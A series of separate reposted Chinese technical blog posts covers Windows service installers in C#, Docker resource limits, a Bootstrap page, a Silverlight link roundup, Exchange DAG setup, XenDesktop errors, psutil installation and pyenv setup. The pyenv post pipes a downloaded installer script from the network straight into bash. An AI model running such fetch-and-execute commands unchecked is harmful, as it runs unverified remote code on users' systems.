public partial class ProjectInstaller : System.Configuration.Install.Installer { public ProjectInstaller() { InitializeComponent(); string assyLocation = System.Reflection.Assembly.GetExecutingAssembly().Location; string assyCfgPath = assyLocation + ".config"; string installServiceLogPath = Path.Combine(Path.GetDirectoryName(assyLocation), "InstallServiceLog.log"); string serviceID = ConfigUtil.GetAppSettingValueForConfigPath("ServiceID", assyCfgPath); System.IO.File.AppendAllText(installServiceLogPath, string.Format("[{0:yyyy-MM-dd HH:mm:ss}] ServiceAssembly ConfigPath:{1};\r\n", DateTime.Now, assyCfgPath)); if (!string.IsNullOrWhiteSpace(serviceID)) { this.serviceInstaller1.DisplayName = "TestService_" + serviceID; this.serviceInstaller1.ServiceName = "TestService_" + serviceID; } System.IO.File.AppendAllText(installServiceLogPath, string.Format("[{0:yyyy-MM-dd HH:mm:ss}] ProjectInstaller.ProjectInstaller() ->ServiceID:{1},ServiceName:{2}; \r\n", DateTime.Now, serviceID, this.serviceInstaller1.ServiceName)); } } 5.3.在服务类的构造函数中同样增加从CONFIG中读取自定义的服务ID(ServiceID)配置项的值,然后将ServiceID拼加到预设的ServiceName后面(注意应与上述ProjectInstaller中指定的ServiceName相同),示例代码如下: 1 2 3 4 5 6 7 8 9 10 11 12 public partial class TestService: ServiceBase { public TestService() { serviceID = ConfigUtil.GetAppSettingValue("ServiceID"); if (!string.IsNullOrWhiteSpace(serviceID)) { this.ServiceName = "TestService_" + serviceID; } } } 上述三步就完成了同一个服务程序安装成多个不同的WINDOWS服务进程,这个还是比较实用的哦!上述ConfigUtil是封装的一个配置文件读写帮助类,之前文章有介绍,后面也会发布一个更完整的ConfigUtil类。 本文转自 梦在旅途 博客园博客,原文链接: http://www.cnblogs.com/zuowj/p/6264711.html ,如需转载请自行联系原作者
作为一个能够稳定运行的环境,不但对单个容器有要求,对所有的容器都应该有隔离,避免一个容器吃掉所有的资源。 1、cpu的隔离: cpu的限制包括两个方面:cpu的占比、绑定cpu。 -c可以指定CPU的占比,--cpuset可以绑定CPU 这里用试验来验证下: docker run -it --name test01 -c 1024 --cpuset-cpus=0,1 05c259583efe /bin/bash docker run -it --name test02 -c 512 --cpuset-cpus=0,1 05c259583efe /bin/bash 这里对test01 和 test02 进行设置cpu占比 1024:512 都是绑定cpu0,1 然后进行试验 用stress进行压测 首先安装stress : rpm -Uvh http://pkgs.repoforge.org/stress/stress-1.0.2-1.el7.rf.x86_64.rpm 然后执行 : stress -c 13 & 给系统一个随机负载,此命令产生13个进程,每个进程都反复不停的计算由rand()产生随机数的平方根。直到资源耗尽。 最后是看结果,分别在机主机,test01,test02 上查看cpu负载情况。 主机的cpu情况:cpu0,1现在是100% 运行stress占用明显是2:1 这是test01上的数值 这是test02上的数值 将container1的cpu.shares改为512, #echo “512” > /cgroup/cpu/docker/$CONTAINER_ID/cpu.shares 也就是说可以通过修改文件来达到修改cpu占比的目的。 2、内存的隔离: Docker提供参数-m, --memory="" 限制容器的内存使用量。如: docker run -it -m 128m --name test03 05c259583efe /bin/bash 可以直接用:docker stats test03 查看内存 也可压测得出: 这里 268M VSZ 进程虚拟大小;115M RSS 实际内存的大小; 3、磁盘限制 磁盘的IO限制: 将IO带宽限制为10M/s: # echo "253:1 10485760" > /cgroup/blkio/docker/$CONTAINER_ID/ blkio.throttle.write_bps_device 可以通过dd文件验证: time $(dd if=/dev/zero of=f1.txt bs=100M count=2) 磁盘大小的限制: docker容器默认的空间是10G,如果想指定默认容器的大小(在启动容器的时候指定),可以在docker配置文件里通过dm.basesize参数指定,比如 docker -d --storage-opt dm.basesize=20G 是指定默认的大小为20G 本文转自 憬薇 51CTO博客,原文链接:http://blog.51cto.com/welcomeweb/1696121
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>bootstrap10</title> <link rel="stylesheet" href="http://cdn.static.runoob.com/libs/bootstrap/3.3.7/css/bootstrap.min.css"> </head> <body> <div class="container"> <h1>Hello, world!</h1> <div class="row"> <div class="col-sm-3 col-md-6 col-lg-8" style="background-color: #dedef8; box-shadow: inset 1px -1px 1px #444, inset -1px 1px 1px #444;"> <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. </p> <p>Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. </p> </div> <div class="col-sm-9 col-md-6 col-lg-4" style="background-color: #dedef8; box-shadow: inset 1px -1px 1px #444, inset -1px 1px 1px #444;"> <p>Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium. </p> <p> Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. </p> </div> </div> </div> <script src="http://cdn.static.runoob.com/libs/jquery/2.1.1/jquery.min.js"></script> <script src="http://cdn.static.runoob.com/libs/bootstrap/3.3.7/js/bootstrap.min.js"></script> </body> </html> 本文转自 素颜猪 51CTO博客,原文链接:http://blog.51cto.com/suyanzhu/1895668
分享Silverlight/WPF/Windows Phone/HTML5一周学习导读(3月26日-3月31日) 本周Silverlight学习资源更新 Silverlight性能优化纪要-原作者Jossef Goldberg 走路到纽约 Silverlight socket组件 smark 在Silverlight项目中采用MVVM模式的好处和优缺点 晨雨烟 [学习笔记]Silverlight4 RIA 开发全程解析[项目全程记录]----第一章FitnessTrackerPl 反斗奇兵 “当前不会命中断点还没有为该文档加载任何符号”解决方法 笨笨的小蜗牛 Silverlight5通过P/Invoke调用自定义C/C++ DLL(Lua) chuncn Silverlight DataPager控件 永远的菜鸟 Silverlight地图出错问题A security exception occured while trying t 云中深海 深入浅出 Silverlight 5 功能大曝光 佚名 Silverlight:Triggers的后台代码怎么实现 YanJie2500 Silverlight使用socket tcp简单实现聊天室功能 smark Silverlight(四) 简单的拖拽操作 刘阳 通通Blend玩美工(4 番外篇)——小黑板,被嵌入到Silverlight中的flash 通通的成长日记 通通玩blend美工(3)——可爱的云 通通的成长日记 Silverlight中 Content="{TemplateBinding Content}" bug 正文 Silverlight 制作图表首页(公司项目)参考easysl 七匹狼888 Silverlight Transforms 锐志晨曦 Silverlight DataGrid超出列表高度时自动滚屏 艾洁 Prism学习(5)---Hello Silverlight Gene Li Silverlight 图像处理 锐志晨曦 Js 调用Silverlight内部方法 LeoZhao Silverlight调用一般性处理程序模拟Silverlight调用WCF效果 zhaoyu_1979 Silverlight游戏研发手记:(六)向Windows Phone 7移植之框架构建 深蓝色右手 本周WPF学习资源推荐 【翻译】WPF应用程序模块化开发快速入门(使用Prism+MEF)【下】 liulun ListView显示图片-IValueConverter KimhillZhang WPF版调色器 欢喜王子 WPF:简单的渐变Aero窗体效果 刘圆圆 Finder in WPF (Draft) nonocast WPF TextBox.TextChanged 中文输入和 MessageBox.Show 冲突 沐訫 WPF中如何制作无边框窗体并圆角透明 轨 WPF简单的集合绑定数据 KimhillZhang WPF如何删除已经打开的图片文件 风动破 WPF赋值语法难点 wordy_wangL 某些理论知识 WPF 笔记整理 wordy_wangL 剖析WPF应用程序结构 Nobody WPF的WebBrowser 里面使用JavaScript调用外部方法的决解方法 Lonely Bandit 使用浏览器WPF应用程序时访问数据库需要报权限错误的解决方法 浪谷 WPF的鼠标操作 妞妞的办公室 WPF 关于图片控制旋转和缩放 妞妞的办公室 WPF Knowledge Points - Binding.StringFormat不起作用的原理和解决 K.W WPF Knowledge Points - ControlTemplate和DataTemplate的区别 K.W WPF Knowledge Points - TemplateBinding和Binding的区别 K.W WPF Control Hints-ComboBox:如何去掉ComboBox的DropDownButton及定义Com K.W WPF DynamicDataDisplay 设定X轴间距最大宽度到达时不再自动缩放的实现 jsyhello 使用c#,WPF,模仿IPhone的Loading(加载)效果 白色的海 WPF简单模仿WindowServer 2008桌面 KimhillZhang WPF 3D:使用变换中的TranslateTransform3D 刘圆圆 WPF:通过捕获鼠标事件来使Canvas中的所有控件都动起来 刘圆圆 WPF Knowledge Points - 控件状态利器:VisualStateManager详解 K.W WPF&Silverlight设计要点之细节决定成败 王佚 用WPF和D3D开发游戏编辑器简介(3) miztook 用WPF和D3D开发游戏编辑器简介(2) miztook 用WPF和D3D开发游戏编辑器简介(1) miztook WPF 调用 C/C DLL 出现异常:System.StackOverflowException 欣菲囟寺 [WPF]Devexpress:GridControl使用方法总汇 Tiramis 初探WPF绑定和资源 SeanSan WPF&Silverlight之XamlReader动态创建控件并绑定 王佚 WPF中使用SerialPort实现串口通讯 jane_sl 本周Windows Phone 7开发学习资源更新 利用 XNA 实现 Windows Phone 7 上的电流效果 elecpiano Windows Phone 7序列化和压缩 Makubex Windows Phone 7开发(22):启动器与选择器之BingMapsDirectionsTask tcjiaan Windows Phone 7 自定义事件 linzheng 在Marketplace上销售应用【Windows Phone 7学习札记之十八】 DebugLZQ Windows Phone 7 XNA开发之关于图形的配置 张剑 手机归属地查询源码 韩弈风 Windows Phone 7点击按钮退出当前应用 小胡—1990 Windows Phone 7天气预报源代码(四UI的制作)视觉状态 韩弈风 Windows Phone 7 声音播放 Lyghost Bing Maps控件【Windows Phone 7学习札记之十七】 DebugLZQ [Windows Phone 7控件详解]控件基础 DebugLZQ [Windows Phone 7控件详解]容器控件 DebugLZQ Windows Phone 7 框架和页面 linzheng Windows Phone 7中点击ApplicatonBarIconButton不能使TextBox失去焦点的问题(涉 acles Windows Phone 7的控件开发入门(二) kaituozhe345 Windows Phone 7的控件开发入门(一) kaituozhe345 Windows Phone 7开发(25):启动器与选择器之WebBrowserTask tcjiaan Windows Phone 7开发(24):启动器与选择器之发送短信 tcjiaan Windows Phone 7开发(23):启动器与选择器之CameraCaptureTask和PhotoChooser tcjiaan Windows Phone 7 加载BingMaps中文版地图 小胡子 Windows Phone 7 断点续传 Bryht [Windows Phone 7控件详解]绘图控件-2 DebugLZQ [Windows Phone 7控件详解]绘图控件-3 DebugLZQ Windows Phone 7开发之退出程序 Dazzling_Jgy刺眼 Windows Phone 7天气预报制作 Dazzling_Jgy刺眼 如何在Windows Phone 7中创建一个弹出式的登录框 youhui Windows Phone 7开发(26):启动器与选择器之MediaPlayerLauncher和SearchTask tcjiaan Windows Phone 7样式的关联 韩弈风 Windows Phone 7导航过渡效果 youhui Windows Phone 7 - 学习Live SDK - 2 pou Windows Phone开发者必须知晓的10大问题 佚名 本周HTML 5开发学习资源更新 HTML5 canvas save和restore方法讲解 瓶中精灵 HTML5 Canvas arc()函数讲解 瓶中精灵 HTML5 中 div section article 的区别 瓶中精灵 HTML5与搜索优化的那些事 融智创想 HTML5对联 当耐特砖家 HTML5动感菜单 当耐特砖家 8个惊艳的JavaScript 为 HTML5 Canvas 提供硬件3D加速渲染应用实验 寒意 Html5 Canvas初探学习笔记(6) -变换 bill_man html5的简单的程序 谭祖爱 《HTML5》教程1-简介 Hanfoner 《HTML5》教程2-功能特点 Hanfoner HTML5中的标记方法简介 我要的天空 html5 中新的naturalWidth和naturalHeight属性 jackyrong HTML5应用实战:实现灵活拖拉文件 木叶兮 Html5 Canvas初探学习笔记(7) -合成 bill_man android web应用开发之——HTML5 Storage API qinghuawenkang HTML5 CANVAS 自由落体例子 冬狮 Html5 Canvas初探学习笔记(8) -阴影 bill_man HTML5(目前)无法帮你实现的五件事 shangguanlongt 10个绝对让你疯狂的HTML5和JS实验性展示 楚广明 Html5 Canvas初探学习笔记(9) -渐变 bill_man HTML 5 的canvas学习1 sunny HTML的一些例子学习 sunny HTML5 Canvas初窥 _北北 本周Windows 8开发学习资源更新 Windows 8 的软件开发架构 疯光无线 Windows 8 系列(一):win 8 简介 李海寅 Windows 8 系列(二):Metro Style 应用程序生命周期(Metro Style Application 李海寅 WinRT比.NET快了,还是Windows8比Windows7快 编写人生 开发WinRT自定义组件 MYM]Brooks Metro style Apps 开发第一篇 沐訫 Windows 8 Metro app开发初体验 Jake Lin Windows8 Metro应用开发之C#(2)- 布局控件Grid,Canvas,StackPanel(延续Silve 李明杨 Windows8 Metro应用开发之C#(1)- 项目模板(Project Templates) 李明杨 Windows 8 JavaScript Metro应用程序--入门(上) 李明杨 如何在Windows8 metro app中创建list界面 xiaoguang44 Windows 8 metro app 读取本地json的方法 xiaoguang44 开发Metro版浏览器 MYM]Brooks Metro Style App :Framwork与WinRT(一) 沐訫 Metro Style App :Framwork与WinRT(二) 沐訫 Metro Style App 异步-简洁而不简单的异步 沐訫 再谈WinRT自定义组件的开发 MYM]Brooks [译]【初体验】为Window8开发Web Apps ydj9931 Windows8开发指南(15)微软为Windows 8引入“复位”和“刷新”功能 yincheng01 基于Windows8与Visual Studio11开发第一个USB驱动应用程序 yincheng01 Windows8开发指南(1)Windows8新特性 yincheng01 Windows8开发指南(2)Windows8应用商店 yincheng01 Windows8开发指南(3)Windows8开发工具 yincheng01 Windows8开发指南(4)Windows8开发步骤 yincheng01 Windows8开发指南(5)Windows8相关特性 yincheng01 Windows8开发指南(6)开发基于Windows8的第一个C#程序 yincheng01 Windows8开发指南(7)开发基于Windows8的第一个C++程序 yincheng01 [译]Windows8开发指南(8)在Visual Studio11编译器的安全性增强-下一代Visual C++201 yincheng01 Windows8开发指南(9)Windows8在激烈竞争的平板电脑市场的优势与特色---移动3G时代失落的windows yincheng01 Windows8开发指南(10)Windows8王者归来,Windows8必胜,所有程序员都认真关注了 yincheng01 Windows8开发指南(11)Windows 8背后的数字 yincheng01 Windows8开发指南(12)Windows 8专有开发工具Visual Studio 11新特性 yincheng01 Windows8开发指南(13)使用 SkyDrive 将“Windows 8”应用程序扩展到云 yincheng01 Windows 8 学习笔记(一) LucyTang Windows 8学习笔记(二)——XML文件的操作 LucyTang Windows 8学习笔记(三) LucyTang Windows8开发指南(14)开发第一个基于Windows8的Windows azure云计算程序 yincheng01 Visual Studio 11开发指南(1) Visual Studio 11简介与新特性 yincheng01 Visual Studio 11开发指南(2) Visual Studio 11放弃宏处理 yincheng01 基于Windows8与Visual Studio11开发第一个内核驱动程序 yincheng01 Windows8探索学习笔记(1)“程序”的“安装” gengshenghong Windows8探索学习笔记(2)基于JS的metro程序基础 gengshenghong Windows8探索学习笔记(3)基于C++的metro程序基础 gengshenghong 本周书籍推荐: Professional Cross-Platform Mobile Development in C#, 该书介绍使用微软C#开发跨平台移动应用方法和技巧,主要介绍Mono开发环境的使用。 该书适合.Net开发人员学习移动开发技术参考使用。 书籍下载 欢迎大家加入“专注Silverlight”QQ技术群,欢迎大家加入一起学习讨论Silverlight&WPF&Widnows Phone开发技术。 22308706(一群) 超级群500人 37891947(二群) 超级群500人 100844510(三群) 高级群200人 32679922(四群) 超级群500人 23413513(五群) 高级群200人 32679955(六群) 超级群500人 88585140(八群) 超级群500人 128043302(九群 企业应用开发推荐群) 高级群200人 101364438(十群) 超级群500人 68435160(十一群 企业应用开发推荐群)超级群500人 本文转自 冷秋寒 51CTO博客,原文链接:http://blog.51cto.com/kevinfan/828805 ,如需转载请自行联系原作者
配置Exchange 2010高可用性群集 DAG(data available Group)功能 (DAG(Database Availability Groups)作为exchange 2010最突出的功能,并没有任何版本的限制。也就是说,Standard 和Enterprise都可以运行DAG。 但是DAG用到了windows server 2008 中MSCS的部分功能,所以如果需要使用DAG,那么必须架构到Windows server 2008 enterprise版本。 Standard版本的Windows server 2008 将不支持DAG。 除此以外,还有一点需要记得是,standard的exchange 2010只支持最多5个数据库,而enterprise版则支持多达100个数据) Exchange 2010标准版同样是支持DAG的。它与企业版的主要区别在于标准版最多只支持同一台服务器上拥有5个数据库,而企业版最多可以有100个数据库。但是由于Exchange 2010仍然用到的是Windows服务器的群集资源,所以服务器的的操作系统版本(Windows 2008 SP2或者Windows 2008 R2)必须是企业版的。其次,DAG对静态和动态IP地址均支持。但是相对而言,我们还是建议您使用固定IP地址从而确保可靠性。您可以参考下面这篇文档中的"DAG Name and IP Address Requirements"这一部分:Planning for High Availability and Site Resiliencehttp://technet.microsoft.com/zh-cn/library/dd638104.aspx DAG可参考资料:http://www.shudnow.net/2009/10/29/exchange-2010-rtm-dag-using-server-2008-r2-%E2%80%93-part-1/ 配置DAG前准备 a. 至少两个NODE; b. 服务器操作系统需要企业版,并且配置两张网卡,一张作为心跳网卡! c. 配置网卡的优先顺序(参考之前exchange 2007网卡设定部分) (组织----布局----菜单栏--------工具----高级设置) d. 在每个节点上安装群集特性;(如下图) 新建DAG及配置共享见证 说明: 如果透过EMC来建DAG时,会使用DHCP来分配一个地址,所以如果你需要用静态IP地址来建DAG时,参考下图! 配置共享见证服务器(注:不指定会选择HUB,或CAS,如果指定的不是exchange 2010服务器成员,不指定exchange trusted subsystem 加入本地的administrator组里面去,否则会报错如下!! 加入后,再次操作如下: 添加第一个节点 到活动目录及DNS服务器中查看如下: 若已经透过EMC建好了DAG,也可以手工来指定IP地址如下 配置好第一个节点后,透过群集可以看到,因为没有配置第二个节点,所以共享见证提示有alert,这是正常的! 添加第二个节点 打开EMC,再添加一个MB角色的服务器-------即添加另外一节点 创建数据库复制服务 我们无法删除下面安装好服务器时自动创建的数据库,因为其含有arbitration属性,如下图 所以我们可以透过EMC > Organization Configuration > Mailbox > Database Management. 来创建一个新的数据库,如下 本文转自 godoha 51CTO博客,原文链接:http://blog.51cto.com/godoha/275678 ,如需转载请自行联系原作者
如附件!! 附件:http://down.51cto.com/data/2355774 本文转自 godoha 51CTO博客,原文链接:http://blog.51cto.com/godoha/314981 ,如需转载请自行联系原作者
在运行Citrix XenDesktop 4.0 Setup Wizard 的过程,你有可能会遇到以下错误情况: 以及你可以看到事件日志有以下错误提示: ---------------------------------- Event ID : 5000 Source : .NET 2.0 runtime error EventType clr20r3, P1 setuptoolapplication.exe, P2 4.0.48348.0, P3 4c2a1856, P4 system.directoryservices, P5 2.0.0.0, P6 4889dec1, P7 9f, P8 6d, P9 system.unauthorizedaccess, P10 NIL. ------------------------------------- 或以下错误提示:------------------------------ ERR:(7/14/2010 4:12:23 PM):Error setting properties on AD computer account Message = System.UnauthorizedAccessException Access is denied. at System.DirectoryServices.Interop.UnsafeNativeMethods.IAds.SetInfo() at System.DirectoryServices.DirectoryEntry.CommitChanges() at Citrix.Library.DirectoryServices.Win32DirectoryEntry.CommitChanges() at Citrix.ManagementAPI.Infrastructure.AD.ADManager.SetPropertiesOnDirEntry(String compAccName, String compOuPath, String compLocation, Boolean provisioned) INF:(7/14/2010 4:12:23 PM): ADManager.SetPropertiesOnDirEntry - Exit INF:(7/14/2010 4:12:23 PM): PVSmanager.ProvisionDisk - Exit ERR:(7/14/2010 4:12:23 PM):Internal Error Message = System.UnauthorizedAccessException Access is denied.-------------------------------------------- 解决问题: 1、确保你的DDC已是最新版本http://support.citrix.com/article/CTX125759最好把此补丁更新上 2、AD权限一定要给足 运行XenDesktop Setup Wizard所要求的权限有以下3种: 1、PVS服务器本地管理员权限 2、具备完全访问、控制权限所创建的计算机所在OU及子OU的权限。 3、DDC所在Farm的完全访问、控制权限 4、属于每个DDC本地分布式COM用户组 本文转自 zhxhua 51CTO博客,原文链接:http://blog.51cto.com/virtualtop/479169,如需转载请自行联系原作者
在安装Python的psutil模块时,报“error: command 'x86_64-linux-gnu-gcc' failed with exit status 1”的错误,系统提示缺少Python的头文件,那就是说系统没有安装python的开发包,安装之就行了。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 $ sudo pip install psutil [sudo] password for richard: Downloading/unpacking psutil Downloading psutil-2.2.1.tar.gz (223kB): 223kB downloaded Running setup.py (path:/tmp/pip_build_root/psutil/setup.py) egg_info for package psutil warning: no previously-included files matching '*' found under directory 'docs/_build' Installing collected packages: psutil Running setup.py install for psutil building '_psutil_linux' extension x86_64-linux-gnu-gcc -pthread -fno-strict-aliasing -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fPIC -DPSUTIL_VERSION=221 -I/usr/include/python2.7 -c psutil/_psutil_linux.c -o build/temp.linux-x86_64-2.7/psutil/_psutil_linux.o psutil/_psutil_linux.c:12:20: fatal error: Python.h: No such file or directory #include <Python.h> ^ compilation terminated. error: command 'x86_64-linux-gnu-gcc' failed with exit status 1 Complete output from command /usr/bin/python -c "import setuptools, tokenize;__file__='/tmp/pip_build_root/psutil/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-t0gEEe-record/install-record.txt --single-version-externally-managed --compile: running install running build running build_py creating build creating build/lib.linux-x86_64-2.7 creating build/lib.linux-x86_64-2.7/psutil copying psutil/_psbsd.py -> build/lib.linux-x86_64-2.7/psutil copying psutil/_pswindows.py -> build/lib.linux-x86_64-2.7/psutil copying psutil/__init__.py -> build/lib.linux-x86_64-2.7/psutil copying psutil/_pslinux.py -> build/lib.linux-x86_64-2.7/psutil copying psutil/_pssunos.py -> build/lib.linux-x86_64-2.7/psutil copying psutil/_compat.py -> build/lib.linux-x86_64-2.7/psutil copying psutil/_common.py -> build/lib.linux-x86_64-2.7/psutil copying psutil/_psosx.py -> build/lib.linux-x86_64-2.7/psutil copying psutil/_psposix.py -> build/lib.linux-x86_64-2.7/psutil running build_ext building '_psutil_linux' extension creating build/temp.linux-x86_64-2.7 creating build/temp.linux-x86_64-2.7/psutil x86_64-linux-gnu-gcc -pthread -fno-strict-aliasing -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fPIC -DPSUTIL_VERSION=221 -I/usr/include/python2.7 -c psutil/_psutil_linux.c -o build/temp.linux-x86_64-2.7/psutil/_psutil_linux.o psutil/_psutil_linux.c:12:20: fatal error: Python.h: No such file or directory #include <Python.h> ^ compilation terminated. error: command 'x86_64-linux-gnu-gcc' failed with exit status 1 ---------------------------------------- Cleaning up... Command /usr/bin/python -c "import setuptools, tokenize;__file__='/tmp/pip_build_root/psutil/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-t0gEEe-record/install-record.txt --single-version-externally-managed --compile failed with error code 1 in /tmp/pip_build_root/psutil Storing debug log for failure in /home/richard/.pip/pip.log $ sudo apt-get install python-dev Reading package lists... Done Building dependency tree Reading state information... Done The following extra packages will be installed: libexpat1-dev libpython-dev libpython2.7-dev python2.7-dev The following NEW packages will be installed: libexpat1-dev libpython-dev libpython2.7-dev python-dev python2.7-dev 0 upgraded, 5 newly installed, 0 to remove and 17 not upgraded. Need to get 22.4 MB of archives. After this operation, 35.1 MB of additional disk space will be used. Do you want to continue? [Y/n] Y Get:1 http://cn.archive.ubuntu.com/ubuntu/ trusty/main libexpat1-dev amd64 2.1.0-4ubuntu1 [115 kB] Get:2 http://cn.archive.ubuntu.com/ubuntu/ trusty/main libpython2.7-dev amd64 2.7.6-8 [22.0 MB] Get:3 http://cn.archive.ubuntu.com/ubuntu/ trusty/main libpython-dev amd64 2.7.5-5ubuntu3 [7,078 B] Get:4 http://cn.archive.ubuntu.com/ubuntu/ trusty/main python2.7-dev amd64 2.7.6-8 [269 kB] Get:5 http://cn.archive.ubuntu.com/ubuntu/ trusty/main python-dev amd64 2.7.5-5ubuntu3 [1,166 B] Fetched 22.4 MB in 42s (527 kB/s) Selecting previously unselected package libexpat1-dev:amd64. (Reading database ... 372107 files and directories currently installed.) Preparing to unpack .../libexpat1-dev_2.1.0-4ubuntu1_amd64.deb ... Unpacking libexpat1-dev:amd64 (2.1.0-4ubuntu1) ... Selecting previously unselected package libpython2.7-dev:amd64. Preparing to unpack .../libpython2.7-dev_2.7.6-8_amd64.deb ... Unpacking libpython2.7-dev:amd64 (2.7.6-8) ... Selecting previously unselected package libpython-dev:amd64. Preparing to unpack .../libpython-dev_2.7.5-5ubuntu3_amd64.deb ... Unpacking libpython-dev:amd64 (2.7.5-5ubuntu3) ... Selecting previously unselected package python2.7-dev. Preparing to unpack .../python2.7-dev_2.7.6-8_amd64.deb ... Unpacking python2.7-dev (2.7.6-8) ... Selecting previously unselected package python-dev. Preparing to unpack .../python-dev_2.7.5-5ubuntu3_amd64.deb ... Unpacking python-dev (2.7.5-5ubuntu3) ... Processing triggers for doc-base (0.10.5) ... Processing 1 added doc-base file... Processing triggers for man-db (2.6.7.1-1ubuntu1) ... Setting up libexpat1-dev:amd64 (2.1.0-4ubuntu1) ... Setting up libpython2.7-dev:amd64 (2.7.6-8) ... Setting up libpython-dev:amd64 (2.7.5-5ubuntu3) ... Setting up python2.7-dev (2.7.6-8) ... Setting up python-dev (2.7.5-5ubuntu3) ... richard@richard-Dell-System:~$ sudo pip install psutil Downloading/unpacking psutil Downloading psutil-2.2.1.tar.gz (223kB): 223kB downloaded Running setup.py (path:/tmp/pip_build_root/psutil/setup.py) egg_info for package psutil warning: no previously-included files matching '*' found under directory 'docs/_build' Installing collected packages: psutil Running setup.py install for psutil building '_psutil_linux' extension x86_64-linux-gnu-gcc -pthread -fno-strict-aliasing -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fPIC -DPSUTIL_VERSION=221 -I/usr/include/python2.7 -c psutil/_psutil_linux.c -o build/temp.linux-x86_64-2.7/psutil/_psutil_linux.o x86_64-linux-gnu-gcc -pthread -shared -Wl,-O1 -Wl,-Bsymbolic-functions -Wl,-Bsymbolic-functions -Wl,-z,relro -fno-strict-aliasing -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -D_FORTIFY_SOURCE=2 -g -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security build/temp.linux-x86_64-2.7/psutil/_psutil_linux.o -o build/lib.linux-x86_64-2.7/_psutil_linux.so building '_psutil_posix' extension x86_64-linux-gnu-gcc -pthread -fno-strict-aliasing -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fPIC -I/usr/include/python2.7 -c psutil/_psutil_posix.c -o build/temp.linux-x86_64-2.7/psutil/_psutil_posix.o x86_64-linux-gnu-gcc -pthread -shared -Wl,-O1 -Wl,-Bsymbolic-functions -Wl,-Bsymbolic-functions -Wl,-z,relro -fno-strict-aliasing -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -D_FORTIFY_SOURCE=2 -g -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security build/temp.linux-x86_64-2.7/psutil/_psutil_posix.o -o build/lib.linux-x86_64-2.7/_psutil_posix.so warning: no previously-included files matching '*' found under directory 'docs/_build' Successfully installed psutil Cleaning up... $ sudo pip install psutil 版权声明:原创作品,如需转载,请注明出处。否则将追究法律责任 报错python安装模块本文转自 bigstone2012 51CTO博客,原文链接:http://blog.51cto.com/lavenliu/1652510
首先到Github上下载Pyenv相应的一键安装脚本, 1 $ curl -L https://raw.githubusercontent.com/yyuu/pyenv-installer/master/bin/pyenv-installer | bash 安装完毕,设置环境变量,设置环境变量,可以添加到个人家目录的.bashrc或.bash_profile及系统的全 局的/etc/profile, 1 2 3 4 5 6 # Load pyenv automatically by adding # the following to ~/.bash_profile: export PATH="/home/lavenliu/.pyenv/bin:$PATH" eval "$(pyenv init -)" eval "$(pyenv virtualenv-init -)" 设置完毕之后,可以在命令行进行验证, 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [lavenliu@VM_113_230_centos ~]$ . ~/.bash_profile [lavenliu@VM_113_230_centos ~]$ pyenv pyenv 20160726 Usage: pyenv <command> [<args>] Some useful pyenv commands are: commands List all available pyenv commands local Set or show the local application-specific Python version global Set or show the global Python version shell Set or show the shell-specific Python version install Install a Python version using python-build uninstall Uninstall a specific Python version rehash Rehash pyenv shims (run this after installing executables) version Show the current Python version and its origin versions List all Python versions available to pyenv which Display the full path to an executable whence List all Python versions that contain the given executable See `pyenv help <command>' for information on a specific command. For full documentation, see: https://github.com/yyuu/pyenv#readme 以上都没有问题。比如,安装一个3.5.2的版本Python, 1 pyenv install 3.5.2 如果下载速度慢的话,可以事先下载之,放到~/.pyenv/cache目录即可。修改~/.pyenv/plugins/python-build/share/python-build/3.5.2文件, 1 2 3 4 5 6 7 8 9 cat ~/.pyenv/plugins/python-build/share/python-build/3.5.2 #require_gcc install_package "openssl-1.0.2g" "https://www.openssl.org/source/openssl-1.0.2g.tar.gz#b784b1b3907ce39abf4098702dade6365522a253ad1552e267a9a0e89594aa33" mac_openssl --if has_broken_mac_openssl install_package "readline-6.3" "http://ftpmirror.gnu.org/readline/readline-6.3.tar.gz#56ba6071b9462f980c5a72ab0023893b65ba6debb4eeb475d7a563dc65cafd43" standard --if has_broken_mac_readline if has_tar_xz_support; then install_package "Python-3.5.2" "~/.pyenv/cache/Python-3.5.2.tar.gz" ldflags_dirs standard verify_py35 ensurepip else install_package "Python-3.5.2" "~/.pyenv/cache/Python-3.5.2.tar.gz" ldflags_dirs standard verify_py35 ensurepip fi 由于没有~/.pyenv/cache目录,进行手工创建, 1 $ mkdir ~/.pyenv/cache 如果使用手工安装,则需要安装一些依赖, 1 # yum install -y gcc make patch gdbm-devel openssl-devel sqlite-devel zlib-devel bzip2-devel readline-devel 需要事先准备好Python-3.5.2.tar.gz的安装包,放到~/.pyenv/cache目录下。然后,在命令行直接使用pyenv install 3.5.2即可, 1 $ pyenv install 3.5.2 安装完毕,使用version命令进行查看, 1 2 pyenv version 3.5.2 (set by /home/lavenliu/.python-version) 至此,已经安装完毕。 